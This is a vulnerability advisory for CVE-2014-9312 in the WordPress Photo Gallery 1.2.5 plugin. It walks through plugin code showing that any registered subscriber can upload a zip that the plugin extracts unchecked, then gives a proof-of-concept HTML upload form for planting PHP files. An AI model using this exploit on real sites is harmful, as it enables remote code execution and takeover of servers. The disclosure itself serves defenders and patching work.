Photo Gallery 1.2.5 Unrestricted File Upload

Homepage:

https://wordpress.org/plugins/photo-gallery/

CVE-ID

CVE-2014-9312

CVSS Score

4

CVSS Vector

(AV:N/AC:L/Au:S/C:P/I:N/A:N)

Description:

UploadHandler.php is accessible through admin-ajax.php because of:

File: photo-gallery\photo-gallery.php

add_action('wp_ajax_bwg_UploadHandler', 'bwg_UploadHandler');
function bwg_UploadHandler() {
	require_once(WD_BWG_DIR . '/filemanager/UploadHandler.php');
}

Every registered user (even Subscriber) can access this functionality see Wordpress Roles and Capabilities:

File: photo-gallery\filemanager\UploadHandler.php

if (function_exists('current_user_can')) {
	if (!current_user_can('read')) {
		die('Access Denied');
	}
}
else {
	die('Access Denied');
}

We can access post() method:

File: photo-gallery\filemanager\UploadHandler.php

protected function initialize() {
	switch ($_SERVER['REQUEST_METHOD']) {
		case 'OPTIONS':
		case 'HEAD':
			$this->head();
			break;
		case 'GET':
			$this->get();
			break;
		case 'PATCH':
		case 'PUT':
		case 'POST':
			$this->post();
			break;
		case 'DELETE':
			$this->delete();
			break;
		default:
			$this->header('HTTP/1.1 405 Method Not Allowed');
	}
}

post() method handles file upload:

File: photo-gallery\filemanager\UploadHandler.php

public function post($print_response = true) {
	if (isset($_REQUEST['_method']) && $_REQUEST['_method'] === 'DELETE') {
		return $this->delete($print_response);
	}
	$upload = isset($_FILES[$this->options['param_name']]) ? $_FILES[$this->options['param_name']] : null;
	$files = array();
	// Parse the Content-Disposition header, if available:
	$file_name = isset($_SERVER['HTTP_CONTENT_DISPOSITION']) ? rawurldecode(preg_replace(
	  '/(^[^"]+")|("$)/',
	  '',
	  $_SERVER['HTTP_CONTENT_DISPOSITION']
	)) : null;
	// Parse the Content-Range header, which has the following form:
	// Content-Range: bytes 0-524287/2000000
	$content_range = isset($_SERVER['HTTP_CONTENT_RANGE']) ? preg_split('/[^0-9]+/', $_SERVER['HTTP_CONTENT_RANGE']) : null;
	$size =  $content_range ? $content_range[3] : null;
	if ($upload && is_array($upload['tmp_name'])) {
		// param_name is an array identifier like "files[]",
		// $_FILES is a multi-dimensional array:
		foreach ($upload['tmp_name'] as $index => $value) {
		    $files[] = $this->handle_file_upload(
		        $upload['tmp_name'][$index],
		        $file_name ? $file_name : $upload['name'][$index],
		        $size ? $size : $upload['size'][$index],
		        $upload['type'][$index],
		        $upload['error'][$index],
		        $index,
		        $content_range
		    );
		}
	}
}

We cannot upload .php files but we can .zip:

File: photo-gallery\filemanager\UploadHandler.php

$upload_handler = new UploadHandler(array(
    'upload_dir' => $_GET['dir'],
    'accept_file_types' => '/\.(gif|jpe?g|png|bmp|mp4|flv|webm|ogg|mp3|wav|pdf|zip)$/i'
));
protected function validate($uploaded_file, $file, $error, $index) {
	if ($error) {
		$file->error = $this->get_error_message($error);
		return false;
	}
	$content_length = $this->fix_integer_overflow(intval($_SERVER['CONTENT_LENGTH']));
	$post_max_size = $this->get_config_bytes(ini_get('post_max_size'));
	if ($post_max_size && ($content_length > $post_max_size)) {
		$file->error = $this->get_error_message('post_max_size');
		return false;
	}
	if (!preg_match($this->options['accept_file_types'], $file->name)) {
		$file->error = $this->get_error_message('accept_file_types');
		return false;
	}
}
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error, $index = null, $content_range = null) {
	$file = new stdClass();
	$file->name = $this->get_file_name($name, $type, $index, $content_range);
	$file->size = $this->fix_integer_overflow(intval($size));
	$file->type = $type;
	if ($this->validate($uploaded_file, $file, $error, $index)) {
		$this->handle_form_data($file, $index);
		$upload_dir = $this->get_upload_path();
		if (!is_dir($upload_dir)) {
			mkdir($upload_dir, $this->options['mkdir_mode'], true);
		}
		$file_path = $this->get_upload_path($file->name);
		$append_file = $content_range && is_file($file_path) && $file->size > $this->get_file_size($file_path);
		if ($uploaded_file && is_uploaded_file($uploaded_file)) {
			// multipart/formdata uploads (POST method uploads)
			if ($append_file) {
				file_put_contents(
					$file_path,
					fopen($uploaded_file, 'r'),
					FILE_APPEND
				);
			}
			else {
				move_uploaded_file($uploaded_file, $file_path);
			}
		}
		else {
			// Non-multipart uploads (PUT method support)
			file_put_contents(
				$file_path,
				fopen('php://input', 'r'),
				$append_file ? FILE_APPEND : 0
			);
		}
		$file_size = $this->get_file_size($file_path, $append_file);
		if ($file_size === $file->size) {
			if ($this->options['max_width'] && $this->options['max_height']) {
				// Upload.
				$this->create_scaled_image($file->name, 'main', $this->options);
			}
			$file->url = $this->get_download_url($file->name);
			list($img_width, $img_height) = @getimagesize(htmlspecialchars_decode($file_path, ENT_COMPAT | ENT_QUOTES));
			if (is_int($img_width)) {
				$this->handle_image_file($file_path, $file);
			}
			else {
				$this->handle_zip_file($file_path, $file);
			}
		}
		else {
			$file->size = $file_size;
			if (!$content_range && $this->options['discard_aborted_uploads']) {
				unlink($file_path);
				$file->error = 'abort';
			}
		}
		$this->set_file_delete_properties($file);
	}
	return $file;
}

Zip files are extracted, so we can put .php files there:

File: photo-gallery\filemanager\UploadHandler.php

protected function handle_zip_file($file_path, $file) {
	$zip = new ZipArchive;
	$res = $zip->open($file_path);      
	if ($res === TRUE) {
	$target_dir = substr($file_path, 0, strlen($file_path) - 4);
	if (!is_dir($target_dir)) {
	 	mkdir($target_dir, 0777);
	}
		$zip->extractTo($target_dir);
		$zip->close();
		$this->handle_directory($target_dir);
	}
}

Proof of Concept:

Login as regular user (created using wp-login.php?action=register).

Pack .php files into .zip archive then send it using:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
    <input type="file" name="files">
    <input type="submit" value="Hack!">
</form>

Your files will be visible inside:

http://wordpress-install/wp-admin/rce/

Timeline: